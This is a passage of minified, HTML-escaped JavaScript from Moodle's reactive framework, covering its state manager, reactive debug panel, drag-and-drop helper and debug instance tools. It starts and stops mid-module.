Error(&quot;Missing state update name&quot;);this.processUpdate(update.name,update.action,update.fields,updateTypes)})),this.setReadOnly(!0)}processUpdate(updateName,action,fields,updateTypes){var _action,_updateTypes$action,_updateTypes$prepareF;if(!fields)throw Error(&quot;Missing state update fields&quot;);void 0===updateTypes&amp;&amp;(updateTypes={});const method=null!==(_updateTypes$action=updateTypes[action=null!==(_action=action)&amp;&amp;void 0!==_action?_action:&quot;update&quot;])&amp;&amp;void 0!==_updateTypes$action?_updateTypes$action:this.updateTypes[action];if(void 0===method)throw Error(&quot;Unkown update action &quot;.concat(action));method(this,updateName,(null!==(_updateTypes$prepareF=updateTypes.prepareFields)&amp;&amp;void 0!==_updateTypes$prepareF?_updateTypes$prepareF:this.updateTypes.prepareFields)(this,updateName,fields))}defaultPrepareFields(stateManager,updateName,fields){return fields}defaultCreate(stateManager,updateName,fields){let state=stateManager.state;state[updateName]instanceof StateMap?state[updateName].add(fields):state[updateName]=fields}defaultDelete(stateManager,updateName,fields){if(!stateManager.get(updateName,fields.id))throw Error(&quot;Inexistent &quot;.concat(updateName,&quot; &quot;).concat(fields.id));let state=stateManager.state;state[updateName]instanceof StateMap?state[updateName].delete(fields.id):delete state[updateName]}defaultRemove(stateManager,updateName,fields){if(!stateManager.get(updateName,fields.id))return;let state=stateManager.state;state[updateName]instanceof StateMap?state[updateName].delete(fields.id):delete state[updateName]}defaultUpdate(stateManager,updateName,fields){let current=stateManager.get(updateName,fields.id);if(!current)throw Error(&quot;Inexistent &quot;.concat(updateName,&quot; &quot;).concat(fields.id));for(const[fieldName,fieldValue]of Object.entries(fields))current[fieldName]=fieldValue}defaultPut(stateManager,updateName,fields){let current=stateManager.get(updateName,fields.id);if(current)for(const[fieldName,fieldValue]of Object.entries(fields))current[fieldName]=fieldValue;else{let state=stateManager.state;if(state[updateName]instanceof StateMap)return void state[updateName].add(fields);state[updateName]=fields}}defaultOverride(stateManager,updateName,fields){let current=stateManager.get(updateName,fields.id);if(current){for(const[fieldName]of Object.entries(current))void 0===fields[fieldName]&amp;&amp;delete current[fieldName];for(const[fieldName,fieldValue]of Object.entries(fields))current[fieldName]=fieldValue}else{let state=stateManager.state;if(state[updateName]instanceof StateMap)return void state[updateName].add(fields);state[updateName]=fields}}get(name,id){const state=this.state;let current=state[name];if(current instanceof StateMap){if(void 0===id)throw Error(&quot;Missing id for &quot;.concat(name,&quot; state update&quot;));current=state[name].get(id)}return current}registerStateAction(field,prop,action,data){let parentAction=&quot;updated&quot;;null!==prop?this.eventsToPublish.push({eventName:&quot;&quot;.concat(field,&quot;.&quot;).concat(prop,&quot;:&quot;).concat(action),eventData:data,action:action}):parentAction=action,void 0!==data.id&amp;&amp;(null!==prop&amp;&amp;this.eventsToPublish.push({eventName:&quot;&quot;.concat(field,&quot;[&quot;).concat(data.id,&quot;].&quot;).concat(prop,&quot;:&quot;).concat(action),eventData:data,action:action}),this.eventsToPublish.push({eventName:&quot;&quot;.concat(field,&quot;[&quot;).concat(data.id,&quot;]:&quot;).concat(parentAction),eventData:data,action:parentAction})),this.eventsToPublish.push({eventName:&quot;&quot;.concat(field,&quot;:&quot;).concat(parentAction),eventData:data,action:parentAction}),this.eventsToPublish.push({eventName:&quot;state:updated&quot;,eventData:data,action:&quot;updated&quot;})}_publishEvents(){const fieldChanges=this.eventsToPublish;this.eventsToPublish=[],this.dispatchEvent({action:&quot;transaction:start&quot;,state:this.state,element:null,changes:fieldChanges},this.target),fieldChanges.sort(((a,b)=&gt;{var _weights$a$action,_weights$b$action;const weights={created:0,updated:1,deleted:2},aweight=null!==(_weights$a$action=weights[a.action])&amp;&amp;void 0!==_weights$a$action?_weights$a$action:0,bweight=null!==(_weights$b$action=weights[b.action])&amp;&amp;void 0!==_weights$b$action?_weights$b$action:0;return aweight===bweight?a.eventName.length-b.eventName.length:aweight-bweight}));let publishedEvents=new Set;fieldChanges.forEach((event=&gt;{var _event$eventData$id;const eventkey=&quot;&quot;.concat(event.eventName,&quot;.&quot;).concat(null!==(_event$eventData$id=event.eventData.id)&amp;&amp;void 0!==_event$eventData$id?_event$eventData$id:0);publishedEvents.has(eventkey)||(this.dispatchEvent({action:event.eventName,state:this.state,element:event.eventData},this.target),publishedEvents.add(eventkey))})),this.dispatchEvent({action:&quot;transaction:end&quot;,state:this.state,element:null},this.target)}};class Handler{constructor(name,stateManager,proxyValues){this.name=name,this.stateManager=stateManager,this.proxyValues=null!=proxyValues&amp;&amp;proxyValues}set(obj,prop,value,receiver){if(this.stateManager.readonly)throw new Error(&quot;State locked. Use mutations to change &quot;.concat(prop,&quot; value in &quot;).concat(this.name,&quot;.&quot;));if(JSON.stringify(obj[prop])===JSON.stringify(value))return!0;const action=void 0!==obj[prop]?&quot;updated&quot;:&quot;created&quot;;return this.proxyValues?Array.isArray(value)?obj[prop]=new StateMap(prop,this.stateManager).loadValues(value):obj[prop]=new Proxy(value,new Handler(prop,this.stateManager)):obj[prop]=value,void 0===this.stateManager.state||this.stateManager.registerStateAction(this.name,prop,action,receiver),!0}deleteProperty(obj,prop){if(this.stateManager.readonly)throw new Error(&quot;State locked. Use mutations to delete &quot;.concat(prop,&quot; in &quot;).concat(this.name,&quot;.&quot;));return prop in obj&amp;&amp;(delete obj[prop],this.stateManager.registerStateAction(this.name,prop,&quot;deleted&quot;,obj)),!0}}class StateMap extends Map{constructor(name,stateManager,iterable){super(iterable),this.name=name,this.stateManager=stateManager}set(key,value){if(this.stateManager.readonly)throw new Error(&quot;State locked. Use mutations to change &quot;.concat(key,&quot; value in &quot;).concat(this.name,&quot;.&quot;));if(key=this.normalizeKey(key),this.checkValue(value),null==key)throw Error(&quot;State lists keys cannot be null or undefined&quot;);if(this.normalizeKey(value.id)!==key)throw new Error(&quot;State error: &quot;.concat(this.name,&quot; list element ID (&quot;).concat(value.id,&quot;) and key (&quot;).concat(key,&quot;) mismatch&quot;));const action=super.has(key)?&quot;updated&quot;:&quot;created&quot;,result=super.set(key,new Proxy(value,new Handler(this.name,this.stateManager)));return void 0===this.stateManager.state||this.stateManager.registerStateAction(this.name,null,action,super.get(key)),result}checkValue(value){if(void 0===value.id)throw Error(&quot;State lists elements must contain at least an id attribute&quot;)}normalizeKey(key){return String(key).valueOf()}add(value){return this.checkValue(value),this.set(value.id,value)}get(key){return super.get(this.normalizeKey(key))}has(key){return super.has(this.normalizeKey(key))}delete(key){if(key=this.normalizeKey(key),this.stateManager.readonly)throw new Error(&quot;State locked. Use mutations to change &quot;.concat(key,&quot; value in &quot;).concat(this.name,&quot;.&quot;));const previous=super.get(key),result=super.delete(key);return result?(this.stateManager.registerStateAction(this.name,null,&quot;deleted&quot;,previous),result):result}toJSON(){let result=[];return this.forEach((value=&gt;{result.push(value)})),result}loadValues(values){return values.forEach((data=&gt;{this.checkValue(data);let key=data.id,newvalue=new Proxy(data,new Handler(this.name,this.stateManager));this.set(key,newvalue)})),this}}return _exports.default}));
define(&quot;core/local/reactive/debugpanel&quot;,[&quot;exports&quot;,&quot;core/reactive&quot;,&quot;core/log&quot;,&quot;core/utils&quot;],(function(_exports,_reactive,_log,_utils){var obj;
/**
   * Reactive module debug panel.
   *
   * This module contains all the UI components for the reactive debug tools.
   * Those tools are only available if the debug is enables and could be used
   * from the footer.
   *
   * @module     core/local/reactive/debugpanel
   * @copyright  2021 Ferran Recio &lt;ferran@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.initsubpanel=_exports.init=void 0,_log=(obj=_log)&amp;&amp;obj.__esModule?obj:{default:obj};_exports.init=(target,selectors)=&gt;{const element=document.getElementById(target);void 0!==_reactive.debug?new GlobalDebugPanel({element:element,reactive:_reactive.debug,selectors:selectors}):element.remove()};_exports.initsubpanel=(target,selectors)=&gt;{const element=document.getElementById(target);void 0!==_reactive.debug?new DebugInstanceSubpanel({element:element,reactive:_reactive.debug,selectors:selectors}):element.remove()};class GlobalDebugPanel extends _reactive.BaseComponent{create(){this.name=&quot;GlobalDebugPanel&quot;,this.selectors={LOADERS:&quot;[data-for=&#039;loaders&#039;]&quot;,SUBPANEL:&quot;[data-for=&#039;subpanel&#039;]&quot;,LOG:&quot;[data-for=&#039;log&#039;]&quot;}}stateReady(state){state.reactives.size&gt;0&amp;&amp;(this.getElement(this.selectors.LOADERS).innerHTML=&quot;&quot;),state.reactives.forEach((instance=&gt;{this._createLoader(instance)})),this.getElement(this.selectors.SUBPANEL).innerHTML=&quot;&quot;}_createLoader(instance){const loaders=this.getElement(this.selectors.LOADERS),btn=document.createElement(&quot;button&quot;);btn.innerHTML=instance.id,btn.dataset.id=instance.id,loaders.appendChild(btn),this.addEventListener(btn,&quot;click&quot;,(()=&gt;this._openPanel(btn,instance)))}async _openPanel(btn,instance){try{const target=this.getElement(this.selectors.SUBPANEL),data={...instance};await this.renderComponent(target,&quot;core/local/reactive/debuginstancepanel&quot;,data)}catch(error){throw _log.default.error(&quot;Cannot load reactive debug subpanel&quot;),error}}}class DebugInstanceSubpanel extends _reactive.BaseComponent{create(){this.name=&quot;DebugInstanceSubpanel&quot;,this.selectors={NAME:&quot;[data-for=&#039;name&#039;]&quot;,CLOSE:&quot;[data-for=&#039;close&#039;]&quot;,READMODE:&quot;[data-for=&#039;readmode&#039;]&quot;,HIGHLIGHT:&quot;[data-for=&#039;highlight&#039;]&quot;,LOG:&quot;[data-for=&#039;log&#039;]&quot;,STATE:&quot;[data-for=&#039;state&#039;]&quot;,CLEAN:&quot;[data-for=&#039;clean&#039;]&quot;,PIN:&quot;[data-for=&#039;pin&#039;]&quot;,SAVE:&quot;[data-for=&#039;save&#039;]&quot;,INVALID:&quot;[data-for=&#039;invalid&#039;]&quot;},this.id=this.element.dataset.id,this.controller=M.reactive[this.id],this.draggable=!1,this.relativeDrag=!0,this.strings={savewarning:&quot;&quot;}}stateReady(){var _this$getElement$inne,_this$getElement;this.dragdrop=new _reactive.DragDrop(this),this.addEventListener(this.getElement(this.selectors.CLOSE),&quot;click&quot;,this.remove),this.controller.highlight&amp;&amp;this._toggleButtonText(this.getElement(this.selectors.HIGHLIGHT)),this.addEventListener(this.getElement(this.selectors.HIGHLIGHT),&quot;click&quot;,(()=&gt;{this.controller.highlight=!this.controller.highlight,this._toggleButtonText(this.getElement(this.selectors.HIGHLIGHT))})),this.addEventListener(this.getElement(this.selectors.READMODE),&quot;click&quot;,this._toggleEditMode),this.addEventListener(this.getElement(this.selectors.CLEAN),&quot;click&quot;,this._cleanAreas),this.addEventListener(this.getElement(this.selectors.PIN),&quot;click&quot;,this._togglePin),this.getElement(this.selectors.SAVE).disabled=!0,this.addEventListener(this.getElement(this.selectors.STATE),&quot;keyup&quot;,(0,_utils.debounce)(this._checkJSON,500)),this.addEventListener(this.getElement(this.selectors.SAVE),&quot;click&quot;,this._saveState),this.strings.savewarning=null!==(_this$getElement$inne=null===(_this$getElement=this.getElement(this.selectors.INVALID))||void 0===_this$getElement?void 0:_this$getElement.innerHTML)&amp;&amp;void 0!==_this$getElement$inne?_this$getElement$inne:&quot;&quot;,this._refreshState()}destroy(){void 0!==this.dragdrop&amp;&amp;this.dragdrop.unregister()}getWatchers(){return[{watch:&quot;reactives[&quot;.concat(this.id,&quot;].lastChanges:updated&quot;),handler:this._refreshLog},{watch:&quot;reactives[&quot;.concat(this.id,&quot;].modified:updated&quot;),handler:this._refreshState},{watch:&quot;reactives[&quot;.concat(this.id,&quot;].readOnly:updated&quot;),handler:this._refreshReadOnly}]}_refreshLog(_ref){var _element$lastChanges;let{element:element}=_ref;const logContent=(null!==(_element$lastChanges=null==element?void 0:element.lastChanges)&amp;&amp;void 0!==_element$lastChanges?_element$lastChanges:[]).join(&quot;\n&quot;),target=this.getElement(this.selectors.LOG);target.value+=&quot;\n\n= Transaction =\n &quot;.concat(logContent),target.scrollTop=target.scrollHeight}_cleanAreas(){this.getElement(this.selectors.LOG).value=&quot;&quot;,this._refreshState()}_refreshState(){this.getElement(this.selectors.STATE).value=JSON.stringify(this.controller.state,null,4)}_refreshReadOnly(){const target=this.getElement(this.selectors.READMODE);void 0===target.dataset.readonly&amp;&amp;(target.dataset.readonly=target.innerHTML),this.controller.readOnly?target.innerHTML=target.dataset.readonly:target.innerHTML=target.dataset.alt}_toggleEditMode(){this.controller.readOnly=!this.controller.readOnly}_checkJSON(){const invalid=this.getElement(this.selectors.INVALID),save=this.getElement(this.selectors.SAVE),edited=this.getElement(this.selectors.STATE).value,currentStateData=this.controller.stateData;if(edited==JSON.stringify(this.controller.state,null,4))return invalid.style.color=&quot;&quot;,invalid.innerHTML=&quot;&quot;,void(save.disabled=!0);try{const newState=JSON.parse(edited),result=this._generateStateUpdates(currentStateData,newState);return invalid.style.color=&quot;&quot;,invalid.innerHTML=this.strings.savewarning,save.disabled=!1,result}catch(error){var _error$message;return invalid.style.color=&quot;red&quot;,invalid.innerHTML=null!==(_error$message=error.message)&amp;&amp;void 0!==_error$message?_error$message:&quot;Invalid JSON sctructure&quot;,void(save.disabled=!0)}}_saveState(){const updates=this._checkJSON();updates&amp;&amp;this.controller.processUpdates(updates)}_generateStateUpdates(currentStateData,newStateData){const updates=[],ids={};for(const[key,newValue]of Object.entries(newStateData))Array.isArray(newValue)?(ids[key]={},newValue.forEach((element=&gt;{if(void 0===element.id)throw Error(&quot;Array &quot;.concat(key,&quot; element without id attribute&quot;));updates.push({name:key,action:&quot;override&quot;,fields:element});const index=String(element.id).valueOf();ids[key][index]=!0}))):updates.push({name:key,action:&quot;override&quot;,fields:newValue});for(const[key,oldValue]of Object.entries(currentStateData)){let deleteField=!1;if(void 0===newStateData[key]&amp;&amp;(deleteField=!0),Array.isArray(oldValue)){if(!deleteField&amp;&amp;void 0===ids[key])throw Error(&quot;Array &quot;.concat(key,&quot; cannot change to object.&quot;));oldValue.forEach((element=&gt;{const index=String(element.id).valueOf();let deleteEntry=deleteField;deleteEntry||void 0!==ids[key][index]||(deleteEntry=!0),deleteEntry&amp;&amp;updates.push({name:key,action:&quot;delete&quot;,fields:element})}))}else{if(!deleteField&amp;&amp;void 0!==ids[key])throw Error(&quot;Object &quot;.concat(key,&quot; cannot change to array.&quot;));deleteField&amp;&amp;updates.push({name:key,action:&quot;delete&quot;,fields:oldValue})}}return updates}getDraggableData(){return this.draggable}dragEnd(dropdata,event){this.element.style.top=&quot;&quot;.concat(event.newFixedTop,&quot;px&quot;),this.element.style.left=&quot;&quot;.concat(event.newFixedLeft,&quot;px&quot;)}_togglePin(){this.draggable=!this.draggable,this.dragdrop.setDraggable(this.draggable),this.draggable?this._unpin():this._pin()}_unpin(){const pageCenterY=window.innerHeight/2,pageCenterX=window.innerWidth/2,style={position:&quot;fixed&quot;,resize:&quot;both&quot;,overflow:&quot;auto&quot;,height:&quot;400px&quot;,width:&quot;400px&quot;,top:&quot;&quot;.concat(pageCenterY-200,&quot;px&quot;),left:&quot;&quot;.concat(pageCenterX-200,&quot;px&quot;)};Object.assign(this.element.style,style),this.getElement(this.selectors.STATE).style.height=&quot;50px&quot;,this.getElement(this.selectors.LOG).style.height=&quot;50px&quot;,this._toggleButtonText(this.getElement(this.selectors.PIN))}_pin(){[&quot;position&quot;,&quot;resize&quot;,&quot;overflow&quot;,&quot;top&quot;,&quot;left&quot;,&quot;height&quot;,&quot;width&quot;].forEach((prop=&gt;this.element.style.removeProperty(prop))),this._toggleButtonText(this.getElement(this.selectors.PIN))}_toggleButtonText(element){[element.innerHTML,element.dataset.alt]=[element.dataset.alt,element.innerHTML]}}}));
define(&quot;core/local/reactive/dragdrop&quot;,[&quot;exports&quot;,&quot;core/local/reactive/basecomponent&quot;],(function(_exports,_basecomponent){var obj;
/**
   * Drag and drop helper component.
   *
   * This component is used to delegate drag and drop handling.
   *
   * To delegate the logic to this particular element the component should create a new instance
   * passing &quot;this&quot; as param. The component will use all the necessary callbacks and add all the
   * necessary listeners to the component element.
   *
   * Component attributes used by dragdrop module:
   * - element: the draggable or dropzone element.
   * - (optional) classes: object with alternative CSS classes
   * - (optional) fullregion: page element affeted by the elementy dragging. Use this attribute if
   *                          the draggable element affects a bigger region (for example a draggable
   *                          title).
   * - (optional) autoconfigDraggable: by default, the component will be draggable if it has a
   *                                   getDraggableData method. If this value is false draggable
   *                                  property must be defined using setDraggable method.
   * - (optional) relativeDrag: by default the drag image is located at point (0,0) relative to the
   *                            mouse position to prevent the mouse from covering it. If this attribute
   *                            is true the drag image will be located at the click offset.
   *
   * Methods the parent component should have for making it draggable:
   *
   * - getDraggableData(): Object|data
   *      Return the data that will be passed to any valid dropzone while it is dragged.
   *      If the component has this method, the dragdrop module will enable the dragging,
   *      this is the only required method for dragging.
   *      If at the dragging moment this method returns a false|null|undefined, the dragging
   *      actions won&#039;t be captured.
   *
   * - (optional) dragStart(Object dropdata, Event event): void
   * - (optional) dragEnd(Object dropdata, Event event): void
   *      Callbacks dragdrop will call when the element is dragged and getDraggableData
   *      return some data.
   *
   * Methods the parent component should have for enabling it as a dropzone:
   *
   * - validateDropData(Object dropdata): boolean
   *      If that method exists, the dragdrop module will automathically configure the element as dropzone.
   *      This method will return true if the dropdata is accepted. In case it returns false, no drag and
   *      drop event will be listened for this specific dragged dropdata.
   *
   * - (Optional) showDropZone(Object dropdata, Event event): void
   * - (Optional) hideDropZone(Object dropdata, Event event): void
   *      Methods called when a valid dragged data pass over the element.
   *
   * - (Optional) drop(Object dropdata, Event event): void
   *      Called when a valid dragged element is dropped over the element.
   *
   *      Note that none of this methods will be called if validateDropData
   *      returns a false value.
   *
   * This module will also add or remove several CSS classes from both dragged elements and dropzones.
   * See the &quot;this.classes&quot; in the create method for more details. In case the parent component wants
   * to use the same classes, it can use the getClasses method. On the other hand, if the parent
   * component has an alternative &quot;classes&quot; attribute, this will override the default drag and drop
   * classes.
   *
   * @module     core/local/reactive/dragdrop
   * @class      core/local/reactive/dragdrop
   * @copyright  2021 Ferran Recio &lt;ferran@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_basecomponent=(obj=_basecomponent)&amp;&amp;obj.__esModule?obj:{default:obj};let activeDropData=new Map,dragStartPoint={};class _default extends _basecomponent.default{create(parent){var _parent$name,_parent$classes,_this$parent$draggabl,_this$parent$relative;this.name=&quot;&quot;.concat(null!==(_parent$name=parent.name)&amp;&amp;void 0!==_parent$name?_parent$name:&quot;unkown&quot;,&quot;_dragdrop&quot;),this.classes=Object.assign({BODYDRAGGING:&quot;dragging&quot;,DRAGGABLEREADY:&quot;draggable&quot;,DROPREADY:&quot;dropready&quot;,DRAGOVER:&quot;dragover&quot;,DRAGGING:&quot;dragging&quot;,DROPUP:&quot;drop-up&quot;,DROPDOWN:&quot;drop-down&quot;,DROPZONE:&quot;drop-zone&quot;,DRAGICON:&quot;dragicon&quot;},null!==(_parent$classes=null==parent?void 0:parent.classes)&amp;&amp;void 0!==_parent$classes?_parent$classes:{}),this.fullregion=parent.fullregion,this.parent=parent,this.autoconfigDraggable=null===(_this$parent$draggabl=this.parent.draggable)||void 0===_this$parent$draggabl||_this$parent$draggabl,this.relativeDrag=null!==(_this$parent$relative=this.parent.relativeDrag)&amp;&amp;void 0!==_this$parent$relative&amp;&amp;_this$parent$relative,this.entercount=0,this.dropzonevisible=!1}getClasses(){return this.classes}stateReady(){&quot;function&quot;==typeof this.parent.validateDropData&amp;&amp;(this.element.classList.add(this.classes.DROPREADY),this.addEventListener(this.element,&quot;dragenter&quot;,this._dragEnter),this.addEventListener(this.element,&quot;dragleave&quot;,this._dragLeave),this.addEventListener(this.element,&quot;dragover&quot;,this._dragOver),this.addEventListener(this.element,&quot;drop&quot;,this._drop)),this.autoconfigDraggable&amp;&amp;&quot;function&quot;==typeof this.parent.getDraggableData&amp;&amp;this.setDraggable(!0)}setDraggable(value){if(&quot;function&quot;!=typeof this.parent.getDraggableData)throw new Error(&quot;Draggable components must have a getDraggableData method&quot;);this.element.setAttribute(&quot;draggable&quot;,value),value?(this.addEventListener(this.element,&quot;dragstart&quot;,this._dragStart),this.addEventListener(this.element,&quot;dragend&quot;,this._dragEnd),this.element.classList.add(this.classes.DRAGGABLEREADY)):(this.removeEventListener(this.element,&quot;dragstart&quot;,this._dragStart),this.removeEventListener(this.element,&quot;dragend&quot;,this._dragEnd),this.element.classList.remove(this.classes.DRAGGABLEREADY))}_dragStart(event){var _this$fullregion;if(document.activeElement.matches(&quot;textarea, input&quot;))return void event.preventDefault();const dropdata=this.parent.getDraggableData();if(!dropdata)return;dragStartPoint={pageX:event.pageX,pageY:event.pageY},event.stopPropagation(),activeDropData.set(this.reactive,dropdata),document.body.classList.add(this.classes.BODYDRAGGING),this.element.classList.add(this.classes.DRAGGING),null===(_this$fullregion=this.fullregion)||void 0===_this$fullregion||_this$fullregion.classList.add(this.classes.DRAGGING);let dragImage=this.element;if(void 0!==this.parent.setDragImage){const customImage=this.parent.setDragImage(dropdata,event);customImage&amp;&amp;(dragImage=customImage)}const position={x:0,y:0};this.relativeDrag&amp;&amp;(position.x=event.offsetX,position.y=event.offsetY),event.dataTransfer.setDragImage(dragImage,position.x,position.y),this._callParentMethod(&quot;dragStart&quot;,dropdata,event)}_dragEnd(event){var _this$fullregion2;const dropdata=activeDropData.get(this.reactive);dropdata&amp;&amp;(activeDropData.delete(this.reactive),document.body.classList.remove(this.classes.BODYDRAGGING),this.element.classList.remove(this.classes.DRAGGING),null===(_this$fullregion2=this.fullregion)||void 0===_this$fullregion2||_this$fullregion2.classList.remove(this.classes.DRAGGING),this._addEventTotalMovement(event),this._callParentMethod(&quot;dragEnd&quot;,dropdata,event))}_dragEnter(event){const dropdata=this._processEvent(event);dropdata&amp;&amp;(this.entercount++,this.element.classList.add(this.classes.DRAGOVER),1!=this.entercount||this.dropzonevisible||(this.dropzonevisible=!0,this.element.classList.add(this.classes.DRAGOVER),this._callParentMethod(&quot;showDropZone&quot;,dropdata,event)))}_dragOver(event){const dropdata=this._processEvent(event);dropdata&amp;&amp;!this.dropzonevisible&amp;&amp;(this.dropzonevisible=!0,this.element.classList.add(this.classes.DRAGOVER),this._callParentMethod(&quot;showDropZone&quot;,dropdata,event))}_dragLeave(event){const dropdata=this._processEvent(event);dropdata&amp;&amp;(this.entercount--,0==this.entercount&amp;&amp;this.dropzonevisible&amp;&amp;(this.dropzonevisible=!1,this.element.classList.remove(this.classes.DRAGOVER),this._callParentMethod(&quot;hideDropZone&quot;,dropdata,event)))}_drop(event){const dropdata=this._processEvent(event);dropdata&amp;&amp;(this.entercount=0,this.dropzonevisible&amp;&amp;(this.dropzonevisible=!1,this._callParentMethod(&quot;hideDropZone&quot;,dropdata,event)),this.element.classList.remove(this.classes.DRAGOVER),this._callParentMethod(&quot;drop&quot;,dropdata,event),dragStartPoint={})}_processEvent(event){const dropdata=this._getDropData(event);return dropdata&amp;&amp;this.parent.validateDropData(dropdata)?(event.preventDefault(),event.stopPropagation(),this._addEventTotalMovement(event),dropdata):null}_addEventTotalMovement(event){if(void 0===dragStartPoint.pageX||void 0===event.pageX)return;event.fixedMovementX=event.pageX-dragStartPoint.pageX,event.fixedMovementY=event.pageY-dragStartPoint.pageY,event.initialPageX=dragStartPoint.pageX,event.initialPageY=dragStartPoint.pageY;const current=this.element.getBoundingClientRect();if(event.newFixedTop=current.top+event.fixedMovementY,event.newFixedLeft=current.left+event.fixedMovementX,void 0!==this.fullregion){const current=this.fullregion.getBoundingClientRect();event.newRegionFixedxTop=current.top+event.fixedMovementY,event.newRegionFixedxLeft=current.left+event.fixedMovementX}}_callParentMethod(methodname,dropdata,event){&quot;function&quot;==typeof this.parent[methodname]&amp;&amp;this.parent[methodname](dropdata,event)}_getDropData(event){if(!this._containsOnlyFiles(event))return activeDropData.get(this.reactive)}_containsOnlyFiles(event){return!!(event.dataTransfer.types&amp;&amp;event.dataTransfer.types.length&gt;0)&amp;&amp;event.dataTransfer.types.every((type=&gt;&quot;Files&quot;===type))}}return _exports.default=_default,_exports.default}));
define(&quot;core/local/reactive/debug&quot;,[&quot;exports&quot;,&quot;core/local/reactive/reactive&quot;,&quot;core/log&quot;],(function(_exports,_reactive,_log){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Reactive module debug tools.
   *
   * @module     core/reactive/local/reactive/debug
   * @copyright  2021 Ferran Recio &lt;ferran@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.initDebug=void 0,_reactive=_interopRequireDefault(_reactive),_log=_interopRequireDefault(_log);const reactiveInstances={},reactiveDebuggers={};
/**
   * Reactive module debug tools.
   *
   * If debug is enabled, this reactive module will spy all the reactive instances and keep a record
   * of the changes and components they have.
   *
   * It is important to note that the Debug class is also a Reactive module. The debug instance keeps
   * the reactive instances data as its own state. This way it is possible to implement development tools
   * that whatches this data.
   *
   * @class      core/reactive/local/reactive/debug/Debug
   * @copyright  2021 Ferran Recio &lt;ferran@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */
class Debug extends _reactive.default{setInitialState(stateData){super.setInitialState(stateData),_log.default.debug(&#039;Debug module &quot;M.reactive&quot; loaded.&#039;)}get list(){return JSON.parse(JSON.stringify(this.state.reactives))}registerNewInstance(instance){var _instance$name;let name=null!==(_instance$name=instance.name)&amp;&amp;void 0!==_instance$name?_instance$name:&quot;instance&quot;.concat(this.state.reactives.length);name=name.replace(/\W/g,&quot;&quot;),_log.default.debug(&#039;Registering new reactive instance &quot;M.reactive.&#039;.concat(name,&#039;&quot;&#039;)),reactiveInstances[name]=instance,reactiveDebuggers[name]=new DebugInstance(reactiveInstances[name]),this.dispatch(&quot;putInstance&quot;,name,instance);const refreshMethod=()=&gt;{this.dispatch(&quot;putInstance&quot;,name,instance)};instance.target.addEventListener(&quot;readmode:on&quot;,refreshMethod),instance.target.addEventListener(&quot;readmode:off&quot;,refreshMethod),instance.target.addEventListener(&quot;registerComponent:success&quot;,refreshMethod),instance.target.addEventListener(&quot;transaction:end&quot;,refreshMethod);instance.target.addEventListener(&quot;transaction:start&quot;,(_ref=&gt;{let{detail:detail}=_ref;const changes=null==detail?void 0:detail.changes;this.dispatch(&quot;lastTransaction&quot;,name,changes)}))}debug(name){return reactiveDebuggers[name]}}class Mutations{putInstance(stateManager,name,instance){const state=stateManager.state;stateManager.setReadOnly(!1),state.reactives.has(name)?(state.reactives.get(name).countcomponents=instance.components.length,state.reactives.get(name).readOnly=instance.stateManager.readonly,state.reactives.get(name).modified=(new Date).getTime()):state.reactives.add({id:name,countcomponents:instance.components.length,readOnly:instance.stateManager.readonly,lastChanges:[],modified:(new Date).getTime()}),stateManager.setReadOnly(!0)}lastTransaction(stateManager,name,changes){if(!changes||0===changes.length)return;const state=stateManager.state,lastChanges=[&quot;transaction:start&quot;];changes.forEach((change=&gt;{lastChanges.push(change.eventName)})),lastChanges.push(&quot;transaction:end&quot;),stateManager.setReadOnly(!1),state.reactives.get(name).lastChanges=lastChanges,stateManager.setReadOnly(!0)}}
/**
   * Class used to debug a specific instance and manipulate the state from the JS console.
   *
   * @class      core/reactive/local/reactive/debug/DebugInstance
   * @copyright  2021 Ferran Recio &lt;ferran@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */class DebugInstance{constructor(instance){this.instance=instance,void 0===instance._reactiveDebugData&amp;&amp;(instance._reactiveDebugData={highlighted:!1})}set readOnly(value){this.instance.stateManager.setReadOnly(value)}get readOnly(){return this.instance.stateManager.readonly}get state(){return this.instance.state}set highlight(value){this.instance._reactiveDebugData.highlighted=value,this.instance.components.forEach((_ref2=&gt;{let{element:element}=_ref2;const border=value?&quot;thick solid #0000FF&quot;:&quot;&quot;;element.style.border=border}))}get highlight(){return this.instance._reactiveDebugData.highlighted}get components(){return[...this.instance.components]}get changes(){const result=[];return this.instance.stateManager.eventsToPublish.forEach((element=&gt;{result.push(element.eventName)})),result}async dispatch(){this.instance.dispatch(...arguments)}get elements(){const result=[];return this.instance.components.forEach((_ref3=&gt;{let{element:element}=_ref3;result.push(element)})),result}get stateData(){return JSON.parse(JSON.stringify(this.state))}processUpdates(updates){this.instance.stateManager.processUpdates(updates)}}function dispatchStateChangedEvent(detail,target){void 0===target&amp;&amp;(target=document),target.dispatchEvent(new CustomEvent(&quot;core_reactive_debug:stateChanged&quot;,{bubbles:!0,detail:detail}))}_exports.initDebug=()=&gt;{const debug=new Debug({name:&quot;CoreReactiveDebug&quot;,eventName:&quot;core_reactive_debug:stateChanged&quot;,eventDispatch:dispatchStateChangedEvent,mutations:new Mutations,state:{reactives:[]}});return reactiveDebuggers.registerNewInstance=debug.registerNewInstance.bind(debug),{debug:debug,debuggers:reactiveDebuggers}}}));
define(&quot;core/local/reactive/reactive&quot;,[&quot;exports&quot;,&quot;core/log&quot;,&quot;core/local/reactive/statemanager&quot;,&quot;core/pending&quot;],(function(_exports,_log,_statemanager,_pending){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * A generic single state reactive module.
   *
   * @module     core/reactive/local/reactive/reactive
   * @class     core/reactive/local/reactive/reactive
   * @copyright  2021 Ferran Recio &lt;ferran@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
